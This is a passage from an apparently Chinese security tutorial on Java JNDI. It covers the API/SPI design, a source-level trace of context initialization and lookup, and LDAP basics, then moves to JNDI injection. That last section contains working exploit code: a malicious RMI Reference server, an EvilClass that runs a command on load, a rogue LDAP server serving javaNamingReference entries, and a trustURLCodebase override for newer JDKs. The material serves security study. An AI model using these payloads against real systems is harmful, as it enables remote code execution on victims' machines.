Service)是一个扩展了命名服务功能的服务,它不仅能够将名字映射到对象,还能为这些对象提供与之关联的属性(Attributes)。目录服务在管理和查找分布式资源时非常有用,特别是在企业级应用中。 JNDI 中的目录服务实现JNDI 本身只是一个 API ,具体的目录服务由底层的实现提供。常见的 JNDI 目录服务实现包括: LDAP (Lightweight Directory Access Protocol):轻量级目录访问协议,最常用的目录服务协议,广泛用于企业中的用户和权限管理。 DNS (Domain Name System):尽管主要是一个命名服务,DNS 也可以作为目录服务的一部分来处理一些资源记录。 NIS (Network Information Service):主要用于 Unix/Linux 系统中的网络信息管理。 RMI 注册表 (RMI Registry):在 Java RMI 中,JNDI 可以与 RMI 注册表集成,提供分布式对象的目录服务。 JNDI API 和 SPIJNDI(Java Naming and Directory Interface)包含两个主要部分:API(应用程序接口)和SPI(服务提供者接口)。如图: 这两个部分分别定义了如何使用 JNDI 以及如何实现 JNDI 服务。 JNDI APIJNDI API (Application Programming Interface) 是面向应用程序开发者的接口,提供了一组标准的方法和类,使开发者能够通过统一的方式访问不同的命名和目录服务。它隐藏了底层服务的具体实现,提供了一种抽象层,使得开发者无需关心具体的服务提供者如何实现这些功能。 JNDI API 提供了以下主要功能: 命名操作:允许查找、绑定、重新绑定和取消绑定对象。基本操作包括: Context.lookup(String name):查找一个对象。 Context.bind(String name, Object obj):将一个名字绑定到一个对象。 Context.rebind(String name, Object obj):重新绑定一个名字到一个新对象。 Context.unbind(String name):从命名空间中解除名字与对象的绑定。 目录操作:允许在对象中添加、删除、修改属性,以及查询对象的属性。主要操作包括: DirContext.getAttributes(String name):获取对象的属性。 DirContext.modifyAttributes(String name, int mod_op, Attributes attrs):修改对象的属性。 DirContext.search(String name, String filter, SearchControls cons):根据过滤条件搜索对象。 以下是一个简单的 JNDI API 使用示例: 1234567891011121314// 创建JNDI环境Hashtable<String, String> env = new Hashtable<>();env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");env.put(Context.PROVIDER_URL, "ldap://localhost:389");// 获取初始上下文Context ctx = new InitialContext(env);// 查找对象Object obj = ctx.lookup("cn=example,dc=example,dc=com");System.out.println("Found object: " + obj);// 关闭上下文ctx.close(); JNDI SPIJNDI SPI (Service Provider Interface) 是面向服务提供者的接口,定义了如何实现 JNDI API 的底层功能。服务提供者需要实现这些接口,以便 JNDI API 能够与实际的命名和目录服务进行交互。 JNDI SPI 定义了各种底层操作的实现方式,服务提供者需要提供这些操作的具体实现。主要包括: 命名服务提供者接口:服务提供者需要实现 javax.naming.spi.NamingManager 类和相关接口,提供命名操作的具体实现。 目录服务提供者接口:服务提供者需要实现 javax.naming.spi.DirContext 及其子类,提供目录操作的实现。 用途: 服务集成:SPI 允许不同的命名和目录服务集成到 JNDI 中,使得 JNDI 能够支持多种服务(如 LDAP 、DNS 、RMI 等)。通过实现 SPI ,服务提供者可以将特定的命名和目录服务功能暴露给 JNDI API 。 扩展性:通过 SPI ,JNDI 框架能够扩展,以支持新的命名和目录服务,而不需要修改 JNDI API 。 以下是一个简单的 SPI 实现示例: 假设我们要实现一个简单的命名服务提供者,需要实现 javax.naming.spi.InitialContextFactory 接口: 123456789101112131415161718192021222324public class MyInitialContextFactory implements InitialContextFactory { @Override public Context getInitialContext(Hashtable<?, ?> environment) throws NamingException { return new MyContext(environment); }}// 自定义的Context实现class MyContext implements Context { private Hashtable<?, ?> environment; public MyContext(Hashtable<?, ?> environment) { this.environment = environment; } @Override public Object lookup(String name) throws NamingException { // 自定义查找逻辑 return "Looked up object for " + name; } // 其他Context接口方法的实现...} JNDI API 和 SPI 的关系 API 使用 SPI:JNDI API 提供了应用程序访问命名和目录服务的方法,但这些方法的具体实现依赖于底层的 SPI 。SPI 由具体的服务提供者实现,并通过 API 暴露给应用程序。 分离实现与使用:API 和 SPI 的分离设计使得 JNDI 具有高度的灵活性和可扩展性。应用程序可以使用统一的 API 与不同的服务交互,而不同的服务提供者可以通过实现 SPI 集成到 JNDI 框架中。 总结 JNDI API 是开发者与命名和目录服务交互的入口,提供了高层次的抽象接口。 JNDI SPI 则是底层服务提供者实现 API 所需功能的接口,确保 JNDI 能够支持多种不同的命名和目录服务。 JNDI 入门案例那么首先来实现一个利用 JNDI 接口调用 RMI 的入门案例。 RMI 服务端: 123456789101112131415import java.io.IOException;import java.rmi.AlreadyBoundException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Server { public static void main(String[] args) throws IOException, AlreadyBoundException, InterruptedException { // 将 SayHello 服务转换为 RMI 远程服务接口 SayHelloInterface skeleton = new SayHelloImpl(); // 将 RMI 服务注册到 1099 端口 Registry registry = LocateRegistry.createRegistry(1099); // 注册 SayHello 服务,服务名为 "SayHello" registry.rebind("SayHello", skeleton); }} 接口 SayHelloInterface : 123public interface SayHelloInterface extends Remote { String function(String input) throws IOException;} 实现类: 12345678910111213import java.io.IOException;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class SayHelloImpl extends UnicastRemoteObject implements SayHelloInterface { protected SayHelloImpl() throws RemoteException { } @Override public String function(String input) throws RemoteException, IOException { return input; }} JNDI 客户端: 12345678910111213141516171819import javax.naming.Context;import javax.naming.InitialContext;import java.util.Hashtable;public class Client { public static void main(String[] args) throws Exception { //设置JNDI环境变量 Hashtable<String, String> env = new Hashtable<>(); env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); env.put(Context.PROVIDER_URL, "rmi://localhost:1099"); //初始化上下文 Context initialContext = new InitialContext(env); //调用远程类 SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("SayHello"); System.out.println(sayhello.function("test")); }} 运行结果: 那么从上面的案例可以看出,要想使用 JNDI 接口调用 RMI ,只需要把原来的 Registry 对象换成 JNDI 的 Context 上下文对象即可,利用这个上下文对象来统一调度各种命名与目录服务。 前面在举 JNDI API 使用示例的时候,调用的是 LDAP 服务,可以看到也是先获取了 Context 上下文对象。 那么 Context 上下文对象是如何判断具体调用哪一种服务的呢? 在获取 Context 对象时调用了 InitialContext 构造方法,传入了一个 Hashtable 对象,在这个对象中设置了两个键,分别是 INITIAL_CONTEXT_FACTORY 和 PROVIDER_URL ,它们就分别代表了要调用的服务和服务器的地址。 JNDI 源码分析环境为 JDK 8u71 。 初始化上下文在 new InitialContext 处下断点: 跟进 InitialContext 的构造方法一探究竟: 这里首先是调用 environment.clone() ,Hashtable 类的 clone 方法用于创建一个 Hashtable 对象的浅拷贝。浅拷贝意味着它会引用原始 Hashtable 中的键值对,但不会复制这些键值对本身所引用的对象。也就是说新拷贝的 Hashtable 将包含与原始 Hashtable 相同的键和相同的值的引用,但这些值是与原 Hashtable 中的相同对象共享的。 然后调用了 InitialContext 的 init 方法,跟进它: 这里先是调用 ResourceManager.getInitialEnvironment 方法。 ResourceManager#getInitialEnvironment这个方法通过合并多种来源(包括用户提供的环境设置、系统属性、Applet 参数和应用资源文件)来构建最终的环境 Hashtable 。 跟进 ResourceManager.getInitialEnvironment 方法看看: 首先是创建了一个 props 数组,这个数组中包含了很多与命名服务相关的属性: 然后判断 env 是否存在,没有就创建。因为我们传入了一个 env 对象,所以不创建。 接着从 env 中获取 Context.APPLET 键的值,因为我们一开始并没有设置,自然获取到空值: 再往下看: 这里首先是利用 helper.getJndiProperties 从系统属性中获取与 JNDI 相关的属性值,但是我并没有设置系统属性,所以获取到空值: 接下也是最为关键的一步,循环遍历,将 props 数组中的所有值作为键去获取对应的值。首先是从 env 中找,如果 env 没有就再去 applet 中找,如果还是没有就再去 jndiSysProps 中找。所以这里就找了传入的值、Applet 参数和系统属性,将找到的结果全部注入到 env 中。 方法的最后就是判断有没有开启应用资源文件,如果允许的话,就再从应用资源文件中找一遍。如果不允许,就直接返回 env : 因为我只设置了 env ,所以最后返回的结果跟传入的参数一模一样: 设置系统属性来初始化上下文由此也可以知道,除了设置 Hashtable 对象外,还可以通过设置系统属性来初始化上下文。 12345678910111213public class Client { public static void main(String[] args) throws Exception { // 设置系统属性 System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099"); // 初始化上下文 Context initialContext = new InitialContext(); //调用远程类 SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("SayHello"); System.out.println(sayhello.function("test")); }} 这样在调用 helper.getJndiProperties 获取系统属性时获取到的将不再是空值: 那么 ResourceManager.getInitialEnvironment 就分析完了。 回到 init 方法,我们继续看 getDefaultInitCtx 方法: InitialContext#getDefaultInitCtx跟进 InitialContext#getDefaultInitCtx 看看: NamingManager#getInitialContext这里只是调用了 NamingManager.getInitialContext ,跟进它: NamingManager.getInitialContext 首先调用了 getInitialContextFactoryBuilder 获取了一个 InitialContextFactoryBuilder 对象。 这个方法没什么可看的,最后获取到的 builder 为空: 进入 builder 为空的判断,随后获取了 env 中的 Context.INITIAL_CONTEXT_FACTORY 属性值,也就是我们一开始设置的那个属性值: 显然不为空,那么不会报出异常。 继续往下: 先是实例化了一下 RegistryContextFactory 类: 正确传入了 className 那么实例化没有问题。 builder 为空,所以 builder.createInitialContextFactory 不会被调用。 最后调用 factory.getInitialContext 方法,也就是 RegistryContextFactory 的 getInitialContext 方法。 RegistryContextFactory#getInitialContext跟进 RegistryContextFactory 的 getInitialContext 方法: var1 是传入的 Hashtable 对象 env ,自然是不为空的。这里创建 var1 的引用。 先调用 getInitCtxURL 方法获取了环境变量中的 java.naming.provider.url 属性,也即 “rmi://localhost:1099” 字符串返回: 然后调用 URLToContext 方法将参数传入,跟进 RegistryContextFactory 的 URLToContext 方法: 这里的核心是利用 rmiURLContextFactory 的构造方法获取一个 rmiURLContextFactory 对象,利用这个工厂对象获取 Context 对象并返回。 rmiURLContextFactory 构造方法什么也没写: 那就接着看 rmiURLContextFactory 的 getObjectInstance 方法: var1 是有值的,而且是 String 类型,所以调用 getUsingURL 处理。 跟进 rmiURLContextFactory 的 getUsingURL 方法: 这里获取到的 var2 是 rmiURLContext 对象,其中依然封装着环境变量: 接下来便会调用 rmiURLContext 的父类 GenericURLContext 的 lookup 方法。 GenericURLContext#lookup跟进 GenericURLContext 的 lookup 方法: 跟进 GenericURLContext 的 getRootURLContext 方法: GenericURLContext 的 getRootURLContext 方法做了大量的字符串处理,在方法的最后调用了 RegistryContext 的构造方法: 来看 RegistryContext 的构造方法: 最后调用 RegistryContext 的 getRegistry 方法获取了一个 RegistryImpl_Stub 对象: RegistryContext 的 getRegistry 方法毫不意外是用 LocateRegistry.getRegistry 方法获取对象,与 RMI 一样: 好,那么回到 GenericURLContext 的 lookup 方法,此时 getRootURLContext 已经调用完毕,获取到的 var2 有两个属性 resolvedObj 和 remainingName: 那么 var3 获取到的自然是 RegistryContext 对象,调用 RegistryContext 的 lookup 方法。 RegistryContext 的 lookup 方法: 也是毫不意外地调用了 this.registry.lookup 方法,也即 RegistryImpl_Stub 的 lookup 方法。 至于这里为什么要调用 lookup 方法,是这样的:getRootURLContext 方法的返回值不是有两个属性嘛,一个 resolvedObj ,一个 remainingName : resolvedObj 代表的含义就是已解析的对象(即部分路径对应的上下文对象),而 remainingName 表示尚未解析的路径部分,那么这里调用 lookup 方法就是为了完成对剩余路径部分的解析,利用已经获取的上下文对象 RegistryImpl_Stub 来获取剩余路径所指代的对象。就好比说先获取 DNS 的顶级域名,再从顶级域名中获取二级域名嘛。 JNDI 的命名系统通常是分层次的,每层可能由不同的命名上下文负责。例如,在一个典型的 URL 路径中,前面的一部分路径可能已经解析到一个特定的上下文对象,但后面的一部分路径仍需要进一步解析。 至此,我们就完成了对上下文对象的初始化,获取到了 Context 对象。 调用链总结以调用 RMI 服务为例,总结一下调用链,用 -> 表示同一个方法中的不同分支: 12345678910111213141516InitialContext#InitialContext(Hashtable<?,?>)InitialContext#init(Hashtable<?,?>)\t-> ResourceManager#getInitialEnvironment(Hashtable<?, ?>) # 获取环境变量\t-> InitialContext#getDefaultInitCtx() NamingManager#getInitialContext(Hashtable<?,?>) RegistryContextFactory#getInitialContext(Hashtable<?, ?>) RegistryContextFactory#URLToContext(String, Hashtable<?, ?>) rmiURLContextFactory#getObjectInstance(Object, Name, Context, Hashtable<?, ?>) rmiURLContextFactory#getUsingURL(String, Hashtable<?, ?>) GenericURLContext#lookup(String) -> rmiURLContext#getRootURLContext(String, Hashtable<?, ?>) RegistryContext#RegistryContext(String, int, Hashtable<?, ?>) RegistryContext#getRegistry(String, int, RMIClientSocketFactory) LocateRegistry#getRegistry(String, int) # 获取 RegistryImpl_Stub 对象 -> RegistryContext#lookup(Name) RegistryImpl_Stub#lookup(String) # 进一步解析剩余路径 查找远程对象跟进 initialContext.lookup 方法: 这里是先调用 getURLOrDefaultInitCtx 方法获取一个对象,然后再调用该对象的 lookup 方法。 跟进 InitialContext 的 getURLOrDefaultInitCtx 方法: 第一步调用 NamingManager.hasInitialContextFactoryBuilder 检查是否已经存在一个初始上下文工厂构建器,这一步是没有的,不进入判断。 继续往下,调用 getURLScheme 提取传入字符串的 URL 链接开头部分,比如 “rmi”,”ldap” : 因为字符串并不包含 URL 部分,所以这里返回空。 既然返回空值的话,就不会进入判断了,最后调用 getDefaultInitCtx 方法并返回。 跟进 InitialContext 的 getDefaultInitCtx 方法: 这个方法先前在初始化上下文的时候已经进入过一次,将 gotDefault 设置为 true ,所以直接返回。 这里的 defaultInitCtx 是 RegistryContext 对象: 所以返回后就进入 RegistryContext 的 lookup 方法: 这里就继续调用了 RegistryContext#lookup(Name) 方法,跟进它: 之后的路子就熟了,依然是调用 RegistryImpl_Stub 的 lookup 方法。 调用链总结12345678initialContext#lookup(String)\t-> initialContext#getURLOrDefaultInitCtx(String) -> initialContext#getURLScheme(String) # 获取协议部分 NamingManager#getURLContext(String, Hashtable<?,?>) -> initialContext#getDefaultInitCtx() # 获取 RegistryContext 对象 -> RegistryContext#lookup(String) RegistryContext#lookup(Name) RegistryImpl_Stub#lookup(Name) # 查找远程对象 JNDI 动态协议转换代码示例事实上,在查找远程对象的时候,可以直接传入完整的 URL 链接,这样它会自动调用对应的协议,请求对应的地址,而不需要再手动设置属性,客户端代码如下: 12345678910public class Client { public static void main(String[] args) throws Exception { //初始化上下文 Context initialContext = new InitialContext(); //调用远程类 SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("rmi://127.0.0.1:1099/SayHello"); System.out.println(sayhello.function("test")); }} 显然这是一种更简便的 JNDI 调用方式。 源码分析在查找远程对象时,通过 InitialContext 的 getURLScheme 方法就能提取出其中的协议部分: 这时获取到的 scheme 就是字符串 “rmi” 。 随后调用 NamingManager.getURLContext 方法,跟进它: 调用 NamingManager 的 getURLObject 方法,继续跟进: 最核心的就是通过 ResourceManager.getFactory 方法获取一个工厂类对象,这里获取的对象是由传入的 scheme 决定的,对象的类名就是 scheme + “URLContextFactory” ,那么这里获取到的是 rmiURLContextFactory 对象。 最后调用 factory.getObjectInstance 获取了一个 rmiURLContext 对象并将其返回: 那么回到 InitialContext 的 getURLOrDefaultInitCtx 方法,最后返回的就是这个 rmiURLContext 对象: 所以之后调用的是 rmiURLContext 的 lookup 方法: 然而 rmiURLContext 并没有重写 lookup 方法,所以调用的是父类 GenericURLContext 的 lookup 方法。 后续的流程跟前面是一样的。 调用链总结1234567891011121314151617initialContext#lookup(String)\t-> initialContext#getURLOrDefaultInitCtx(String) -> initialContext#getURLScheme(String) # 获取协议部分 -> NamingManager#getURLContext(String, Hashtable<?,?>) NamingManager#getURLObject(String, Object, Name, Context, Hashtable<?,?>) ResourceManager#getFactory(String, Hashtable<?,?>, Context, String, String) rmiURLContextFactory#getObjectInstance(Object, Name, Context, Hashtable<?, ?>) rmiURLContext#rmiURLContext(Hashtable<?, ?>) # 获取 rmiURLContext 对象 -> GenericURLContext#lookup(String) -> rmiURLContext#getRootURLContext(String, Hashtable<?, ?>) RegistryContext#RegistryContext(String, int, Hashtable<?, ?>) RegistryContext#getRegistry(String, int, RMIClientSocketFactory) LocateRegistry#getRegistry(String, int) # 获取 RegistryImpl_Stub 对象 -> RegistryContext#lookup(Name) -> RegistryImpl_Stub#lookup(String) # 获取远程对象 -> RegistryContext#decodeObject(Remote, Name) NamingManager#getObjectInstance(Object, Name, Context, Hashtable<?,?>) # 实例化远程对象 JNDI Reference 类在 JNDI 中,Reference 类用于表示对那些不直接存储在命名或目录系统中的对象的引用。也就是说,当对象本身无法被序列化并存储在目录中时,Reference 提供了一种方式,通过包含足够的信息以便在需要时重新构建该对象。 例如,当你通过 RMI(远程方法调用)获取一个远程服务上的对象时,客户端实际上得到的是一个对象的存根(stub)。这个对象本身可能并不直接存在于客户端的命名或目录系统中,但通过 Reference ,客户端可以包含必要的信息,从其他服务器加载类文件并实例化对象。 Reference 类位于 javax.naming 包中,主要有以下几个构造方法: 123public Reference(String className, String factory, String factoryLocation)public Reference(String className)public Reference(String className, Vector<RefAddr> addrs, String factory, String factoryLocation) 参数解释: 类名(Class Name):指定了引用的对象的完全限定类名。它告诉 JNDI 在实例化对象时需要加载哪个类。 工厂类名(Factory Class Name):指定了用于重新构建对象的工厂类。这个工厂类必须实现 javax.naming.spi.ObjectFactory 接口。 地址列表(Address List):包含了一组 RefAddr(引用地址),这些地址携带了重建对象所需的各种信息。常见的 RefAddr 子类包括 StringRefAddr 、SerialRefAddr 等。 LDAP 协议LDAP(Lightweight Directory Access Protocol,轻量级目录访问协议)是一种应用层协议,用于访问和维护分布式目录信息服务,其默认端口是 389 。LDAP 广泛应用于目录服务中,用于查询和管理用户、设备、应用程序等信息。LDAP 通常用于验证用户身份,并存储与组织、用户及其他资源相关的详细信息。 LDAP 协议的基本概念 目录服务: 目录服务是一个存储和组织数据的分层结构,类似于文件系统中的目录结构。它存储有关用户、计算机、网络资源等的信息,并允许用户和应用程序通过 LDAP 协议来查询和管理这些信息。 条目(Entry): LDAP 目录中的基本数据单位,每个条目由一组属性及其对应的值组成。每个条目都有一个唯一的区分名称(Distinguished Name, DN),用来唯一标识条目在目录树中的位置。 区分名称(DN): DN 是 LDAP 中条目的唯一标识符。它类似于文件路径,包含了从根到条目的所有层次信息。DN 由多个相对区分名称(RDN, Relative Distinguished Name)组成。 例如,“uid=john.doe” 表示由名为 “uid” 且值为 “john.doe” 的属性组成的 RDN 。如果 RDN 有多个属性值对,则用加号分隔,例如 “givenName=John+sn=Doe” ; 一个 DN 通常由多个 RDN 组成,例如,DN “uid=john.doe,ou=People,dc=example,dc=com” 有四个 RDN ; 右边的范围比左边的范围大,左边的 RDN 是右边 RDN 的子集,例如,DN “uid=john.doe,ou=People,dc=example,dc=com” 的父 DN 为 “ou=People,dc=example,dc=com” 。 属性(Attribute): 每个条目由若干属性组成,属性包含属性类型和属性值。例如,cn(common name, 通用名)、mail(电子邮件地址)、uid(用户ID)等都是属性类型,属性值则是对应的实际数据。 对象类(Object Class): 每个 LDAP 条目都有一个或多个对象类,定义了条目中允许出现的属性类型。对象类决定了条目的结构和内容。常见的对象类包括 inetOrgPerson 、organizationalUnit 等。 LDAP 数据模型LDAP 采用树状结构(即目录信息树,DIT)来组织和存储数据。树的每个节点代表一个条目,条目之间的层次关系由它们的DN来表示。例如: 123456dc=example,dc=com├── ou=People│ ├── cn=John Doe│ ├── cn=Jane Smith├── ou=Groups│ ├── cn=Admins dc=example,dc=com:目录的根条目,dc 表示域组件(Domain Component)。 ou=People:表示一个组织单元(Organizational Unit),用于存放用户信息。 cn=John Doe:表示用户 “John Doe” 的条目,cn 表示通用名(Common Name)。 LDAP 协议操作LDAP 协议定义了多个操作来查询和管理目录中的条目。主要操作包括: 绑定(Bind): 客户端与 LDAP 服务器建立连接并进行身份验证。绑定操作可以是匿名的,也可以使用用户名和密码进行身份验证。 搜索(Search): 客户端可以在目录中搜索特定的条目,搜索操作可以通过指定 DN 、搜索范围、过滤条件等来精确查找。 比较(Compare): 比较操作用于检查某个条目中的某个属性值是否与给定值匹配。 添加(Add): 向目录中添加新的条目。 删除(Delete): 删除指定的条目。 修改(Modify): 修改条目的属性,可以添加、删除或替换属性值。 修改 DN(Modify DN): 改变条目的 DN ,从而改变条目在目录树中的位置。 解除绑定(Unbind): 客户端通知 LDAP 服务器终止会话,关闭连接。 LDAP 报文结构LDAP 协议是基于 TCP/IP 的,其消息结构通常使用 BER(Basic Encoding Rules)编码。下面是 LDAP 请求和响应消息中的一些主要字段: 消息 ID:每个 LDAP 消息都有一个唯一的消息 ID ,用于在请求和响应之间进行匹配。 操作代码:指示 LDAP 消息的类型,例如 BindRequest、SearchRequest、ModifyRequest 等。 DN(Distinguished Name):用于指定操作所作用的目标条目。 属性和值:用于指定要查询、添加、修改或删除的属性及其值。 搜索范围:用于指定搜索操作的范围,如 base 、oneLevel 、subtree 。 过滤器(Filter):在搜索操作中使用的过滤条件,用于限定搜索结果,例如 (cn=John Doe) 表示查询 cn 属性等于 “John Doe” 的条目。 结果代码(Result Code):LDAP响应消息中的结果代码,用于表示操作的结果,如 success(成功)、noSuchObject(无此对象)、invalidCredentials(凭证无效)等。 LDAP 主要字段含义以下是 LDAP 消息中常见字段的含义: messageID:区分每个 LDAP 操作的标识符,确保请求和响应能够正确对应。 protocolOp:指示 LDAP 操作类型,如 bindRequest、searchRequest 等。 dn:目标条目的 DN 。 attributes:在 LDAP 操作中,定义要添加、修改、删除或查询的属性名称和属性值。 filter:在 searchRequest 中定义的过滤器,用于指定搜索的条件。 resultCode:操作结果的状态码,标示操作成功或失败的类型。 比如一个请求消息: 12345678910LDAPMessage { messageID: 1 protocolOp: bindRequest { version: 3 name: "cn=admin,dc=example,dc=com" authentication: simple { credentials: "admin_password" } }} 对应的响应信息: 12345678LDAPMessage { messageID: 1 protocolOp: bindResponse { resultCode: success (0) matchedDN: "" diagnosticMessage: "" }} 总结LDAP 是一种用于访问和管理目录服务的协议。它通过一系列操作来允许客户端查询和管理目录中的条目,每个条目由一组属性组成,并使用 DN 进行唯一标识。LDAP 协议的灵活性和广泛应用使其成为身份验证、访问控制等领域的标准协议之一。 JNDI 注入JNDI 注入的前提是能操作客户端 lookup 方法或其他远程操作方法的参数。 JNDI + RMI实现方法很简单,我们先在 RMI 服务器上绑定一个 Reference 类,服务端代码如下: 123456789101112131415161718192021import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.io.IOException;import java.rmi.AlreadyBoundException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JndiRmiTest { public static void main(String[] args) throws IOException, AlreadyBoundException, InterruptedException, NamingException { // 创建一个 Reference 对象 Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/"); // 用 ReferenceWrapper 包装 Reference 对象,使其继承 UnicastRemoteObject 类 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); // 将 RMI 服务注册到 1099 端口 Registry registry = LocateRegistry.createRegistry(1099); // 绑定 Reference 对象 registry.rebind("EvilClass", referenceWrapper); }} 前面说了 Reference 构造方法的三个参数,那么就知道这个 EvilClass 就是 Reference 中指定的远程类名,EvilClass 同时也作为工厂类名,所以它要实现 javax.naming.spi.ObjectFactory 接口。EvilClass 代码如下: 1234567891011121314151617181920import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class EvilClass implements ObjectFactory { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; }} 此外我们知道,要在 RMI 服务上绑定远程对象,这个远程对象需要继承 UnicastRemoteObject 类,那么可以将 Reference 对象封装进 ReferenceWrapper 中,使其继承 UnicastRemoteObject 类,可以看一下 ReferenceWrapper 的定义: 需要注意的是:com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应 jar 包。这里的 JDK 版本为 8u71。 最后是客户端代码,只要去请求 RMI 服务端即可: 12345678910111213import javax.naming.Context;import javax.naming.InitialContext;import java.util.Hashtable;public class Client { public static void main(String[] args) throws Exception { //初始化上下文 Context initialContext = new InitialContext(); //调用远程类 SayHelloInterface sayhello = (SayHelloInterface) initialContext.lookup("rmi://127.0.0.1:1099/EvilClass"); }} Reference 对象会先去本地查找对应的类是否存在,如果不存在,才会去 factoryLocation 指定的 URL 查找。故而为了体现出是远程加载,我将 EvilClass.class 文件放在其他目录下,再利用 python 开启 http 服务器(注意,此时客户端是不能直接访问到 EvilClass 类的)。 先开启 http 服务器,再开启 rmi 服务端,最后开启客户端,成功弹出计算器,并且 http 服务器上有对应的日志记录: 原理就是客户端去请求了 RMI 服务端地址,获取了 ReferenceWrapper 对象,然后又根据其中封装的 Reference 对象的 factoryLocation 属性去请求了远程对象所在的地址,最终造成客户端反序列化。 JNDI + LDAPLDAP 服务端需要设置好如下的四个属性,代表远程对象的引用: 1234ObjectClass: javaNamingReferencejavaCodebase: http://localhost:5000/JavaFactory: EvilClassjavaClassName: FooBar 这其实也是 Reference 类的一种利用方式。 我们利用 Java 开启一个 LDAP 服务器,需要的依赖如下: 123456<!-- UnboundID LDAP SDK --><dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>6.0.7</version></dependency> LDAP 服务端代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class ldapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8002/#EvilClass"; int port = 10389; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaClassName", "Exploit"); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }} 客户端代码如下: 123456789101112import javax.naming.Context;import javax.naming.InitialContext;public class ldapClient { public static void main(String[] args) throws Exception { //初始化上下文 Context initialContext = new InitialContext(); //调用远程类 initialContext.lookup("ldap://127.0.0.1:10389/EvilClass"); }} 同样确保客户端访问不到 EvilClass 类文件,是可以远程加载的。 JDK 高版本绕过RMI 高版本绕过在 JDK 8u121、7u131、6u141 版本之后,默认不信任远程代码,无法加载 RMI 远程对象。此时再运行上面 JNDI + RMI 的代码则会爆出如下错误: 需要添加以下参数才能成功运行: 1com.sun.jndi.rmi.object.trustURLCodebase=true 那么我直接在客户端代码中设置系统属性: 1System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); 在 JDK 8u392 的环境中,运行后成功获取 RMI 远程对象,但是并没有去 Reference 指定的 URL 中获取远程对象,最终获取的是空值,所以也没有成功执行命令。 回到正题,JDK 高版本之后,原本用于实例化远程对象的 RegistryContext#decodeObject 现在多了一条判断机制: 也就是说想要成功实例化对象,要不就 Reference 对象为空,要不就 Reference 对象的 classFactoryLocation 属性为空,要不就系统属性 com.sun.jndi.rmi.object.trustURLCodebase 设置为 true 。 目前最好利用的是第二种情况,Reference 对象的 classFactoryLocation 属性为空,也就是说,RMI 服务端在绑定 Reference 对象时,不能够指定获取工厂类的远程地址,那么客户端就只能从本地获取工厂类。如果能从客户端加载合适的工厂类,依然可以达成目的。 BeanFactory 类说到客户端本地的工厂类,org.apache.naming.factory.BeanFactory 是比较常用的工厂类之一,这个类存在于 Tomcat 8 环境中。 在测试环境下,为客户端添加如下依赖: 12345678910<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.0</version></dependency><dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper-el</artifactId> <version>8.5.0</version> <!-- 